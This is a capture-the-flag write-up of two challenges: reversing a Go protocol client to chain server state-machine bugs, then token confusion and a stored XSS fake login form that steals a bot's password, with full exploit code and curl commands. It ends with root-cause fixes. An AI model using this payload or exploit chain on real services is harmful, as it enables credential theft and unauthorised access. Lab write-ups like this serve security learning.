Home > Writeups > Dragon Hunt - Records 07 & 08: Synister & Hallow
Dragon Hunt // Record 07

Synister
The Demonic

Go binary reversing Custom binary protocol State-machine exploit Three chained bugs

A compiled Go binary implements a custom authenticated protocol called SYNR/3. Reverse it to recover the wire format and shared secret, then find and chain three bugs in the server's state machine to reach the sanctum with forged authority.

Reconnaissance

Reversing the binary

The delivery is a Go 1.21 amd64 binary: synister-client-v12. Go binaries keep full symbol tables in non-stripped builds, so Ghidra recovers function names cleanly. The startup chain is standard: _rt0_amd64runtime.mainmain.main. The interesting work lives in four functions.

main.connect() handles the handshake and session-key derivation. main.(*client).call() defines the per-request frame. main.(*client).handleMenu() dispatches the nine menu options, and main.(*client).callPrint() formats the response. The key lies at 0x0051d2bf: 32 bytes of plaintext XOR'd with a static mask stored in local variables.

Recovering the shared secret // Ghidra → shell
# The binary stores PLAINTEXT ^ MASK; both uses apply the same mask.
# Pull the plaintext directly from the binary image:
$ dd if=./synister-client-v12 bs=1 skip=$((0x51d2bf)) count=32 2>/dev/null | cat
SYNISTER-DRAGON-HUNTER-CTF-KEY!!
Protocol Reconstruction

SYNR/3 wire format

The protocol opens with a 52-byte SYNI handshake: magic b"SYNI", 16 random nonce bytes, and a 32-byte HMAC-SHA256 over the protocol label + nonce + version bytes, keyed on the shared secret. The server replies with b"SYOK" and 32 bytes of server material (S1 ‖ S2). Both sides then derive the session key as SHA256(secret ‖ nonce ‖ [2..10] ‖ S1 ‖ S2).

Every subsequent message is a 16-byte header (magic SYNR, version 3, command byte, two padding bytes, a big-endian request ID, and a big-endian payload length), followed by the payload and a 16-byte HMAC-SHA256(session_key, header ‖ payload). Response headers echo the command with the high bit set; the MAC trails the payload.

Frame construction // Python
hdr = struct.pack(">4sBBHII",
    b"SYNR",      # magic
    3,            # version
    cmd & 0x7F,   # command
    0,            # padding
    req_id,       # request ID, big-endian
    len(payload), # payload length, big-endian
)
mac  = hmac_sha256(session_key, hdr, payload)[:16]
send(hdr + payload + mac)
Discovery

The command space is not what it looks like

The menu accepts characters '1'-'9', but those ASCII values (0x31-0x39) are not the wire command bytes. A full scan of all 256 possible byte values against the server reveals the actual commands are 0x02-0x0a, the version byte array [2, 3, 4, 5, 6, 7, 8, 9, 10] embedded in the SYNI handshake. Everything outside that range returns UNKNOWN RITE.

Command map
0x02  CREATE SIGIL
0x03  INSPECT
0x04  BIND          payload: resource string
0x05  TEMPER        payload: [tag:1][len_BE:2][value:N]
0x06  DELEGATE      payload: capability string
0x07  SEAL
0x08  ASCEND
0x09  ENTER SANCTUM
0x0a  EXPORT
0x0b-0xff  UNKNOWN RITE
Exploitation

Three bugs, one session

Build a sigil to DELEGATED state on a single connection, then probe opcodes 0x0b-0x7f. Opcode 0x17 returns a non-error response and rolls the sigil back from DELEGATED to TEMPERED, without clearing the server's internal Validated authorization flag.

In that impossible state, TEMPER with property tag 0x07 (the protected AUTHORITY field, normally returning THE FORGE WILL NOT TOUCH THAT MARK) and value 0x37, ASCII '7'. The stale Validated flag bypasses the protection. AUTHORITY is now 7. The same stale flag then lets DELEGATE accept sanctum.enter, a capability outside the normal bloodline. Seal, ascend, and enter, all on the same connection. Reconnecting destroys the server-side flag.

The three bugs are independent: each is a design error in isolation. Bug 1: rollback without invalidating derived state. Bug 2: protected field writable when that protection depends on stale volatile state. Bug 3: bloodline check trusts stale authorization rather than current state.
Exploit chain // same session, no reconnect
# Build to DELEGATED, standard lifecycle
c.create()
c.bind("archive/ember-ledger")
c.temper(1,"a"); c.temper(2,"a"); c.temper(3,"a")
c.delegate("archive.read")        # → STATE: DELEGATED, Validated=True

# Bug 1: hidden rollback, Validated survives
c.call(0x17)                      # DELEGATED → TEMPERED, flag stale

# Bug 2: AUTHORITY is property 0x07, writable with stale Validated
c.call(0x05, bytes([0x07, 0x00, 0x01, 0x37]))  # AUTHORITY → 7

# Bug 3: stale Validated lets out-of-bloodline capability through
c.call(0x06, b"sanctum.enter")

c.seal(); c.ascend()
c.call(0x09)    # → BLACK SANCTUM BREACHED + Professor mark + DSG3. artifact
Recovered Mark

Professor's mark: Record 07

The sanctum also issues a signed DSG3. artifact with authority:7 and capabilities [archive.read, sanctum.enter]. Record 08 (Hallow) accepts this token without audience binding; it is a direct key to the next challenge.

Recovered // Professor's Mark
Professor{SyNiSt3R_W4z_Fri3nDly_???_0r_n4W?_4h4h4h4h4}
Record 07 // Synister the Demonic 404 Cyber Team Field Notes
Dragon Hunt // Record 08

Hallow
The Empty

Cross-service token confusion Stored XSS Bot credential theft Same-origin exfil

Hallow accepts Synister's signed token without checking whether it was issued for Hallow. Inside, a Jinja2 safe-filter sink turns stored posts into executable markup. A Playwright bot fills any visible login form with the challenge password, and the unguarded /echo endpoint is the only in-scope sink that survives.

Reconnaissance

Getting in: token confusion

A fresh visitor gets csrf_token=HOLLOW.<random>. Replace it with the Record 07 DSG3. artifact and refresh: verify_synister_sigil() checks prefix, magic, Ed25519 signature, v==3, and authority>=7. What it does not check: issuer, audience, service, or purpose. A token signed by Synister's server satisfies Hallow's verifier completely.

The dashboard exposes the obfuscated source: a self-decrypting Python loader. Decode it: 43 base85 chunks reordered by a permutation, concatenated, base85-decoded, decrypted with a BLAKE2b counter-mode keystream, zlib-decompressed, and HMAC-verified before exec. The Flask application source is inside.

Source loader decryption // Python
import base64, hashlib, zlib

ciphertext = base64.b85decode(b"".join(_a[i] for i in _b))

keystream = bytearray()
ctr = 0
while len(keystream) < len(ciphertext):
    keystream.extend(hashlib.blake2b(
        nonce + ctr.to_bytes(8,"big"),
        key=key, digest_size=64, person=b'HALLOW-V20-WARD'
    ).digest())
    ctr += 1

source = zlib.decompress(bytes(a ^ b for a,b in zip(ciphertext, keystream)))
Attack Surface

Stored XSS via safe filter

The decoded source reveals POST /message, GET /post/<id>, POST /post/<id>/send, and POST /post/<id>/echo. The post template renders stored content with {{ body|safe }}; Jinja2's safe filter suppresses escaping entirely. Whatever HTML is stored through /message executes in the browser of anyone who visits the post, including the Playwright bot summoned via /send.

External exfiltration is blocked. The bot installs a Playwright route handler that aborts every request whose URL does not start with BOT_BASE_URL. Webhooks, request bins, and attacker IPs all fail. The only writable in-scope endpoint is POST /post/<id>/echo, which is unauthenticated and stores username + password in a captures table rendered back by the post template.
Exploit Construction

Reading the bot as a spec

The Playwright bot's implementation is a complete spec for the payload. After DOMContentLoaded + 1400 ms, it finds every input[type="password"]:visible, walks to the nearest ancestor <form>, finds a visible username-like field (type=text, type=email, or name containing "user"/"login"), fills both, and submits. The payload just needs a visible form with those two fields pointing at /post/<id>/echo.

XSS payload // stored via POST /message
<h2>Session Expired</h2>
<p>Your session timed out. Please sign in to continue.</p>
<form id="lf" method="POST" action="/post/RECEIVER_ID/echo">
  <input type="text"     name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
  <button type="submit">Sign in</button>
</form>
Full chain // curl
TARGET="https://hallow-den.securityskills.online"
SIGIL="DSG3.RFNHMw..."   # Record 07 artifact

# Store receiver post (known echo target)
curl -si -b "csrf_token=$SIGIL" -X POST \
  --data-urlencode "message=<p>receiver</p>" "$TARGET/message"
# Note RECEIVER_ID from Location header

# Store XSS post targeting receiver
curl -si -b "csrf_token=$SIGIL" -X POST \
  --data-urlencode "[email protected]" "$TARGET/message"
# Note XSS_ID from Location header

# Summon the bot
curl -si -b "csrf_token=$SIGIL" -X POST "$TARGET/post/XSS_ID/send"

# Wait, then read ECHOES CAUGHT IN THE DEN
sleep 6
curl -s -b "csrf_token=$SIGIL" "$TARGET/post/RECEIVER_ID" \
  | grep -A1 "capture-item"
# → hallow // Hallow:Professor{...}
Recovered Mark

Professor's mark: Record 08

The capture appears under ECHOES CAUGHT IN THE DEN when the post is reloaded. The password field contains the flag prefixed with Hallow:.

Recovered // Professor's Mark
Professor{XSS_uR_PassW0RdS}
Root Cause

Three independent failures

Any one of these closed stops the chain. Token: bind iss, aud, and purpose at every relying service; a valid signature proves who signed, not what they authorized. Output: render {{ body }} or sanitise with an allowlist; the safe filter is not a sanitiser. Bot: never let automation submit secrets to attacker-controlled forms; isolate bot credentials from untrusted DOM.

Record 08 // Hallow the Empty 404 Cyber Team Field Notes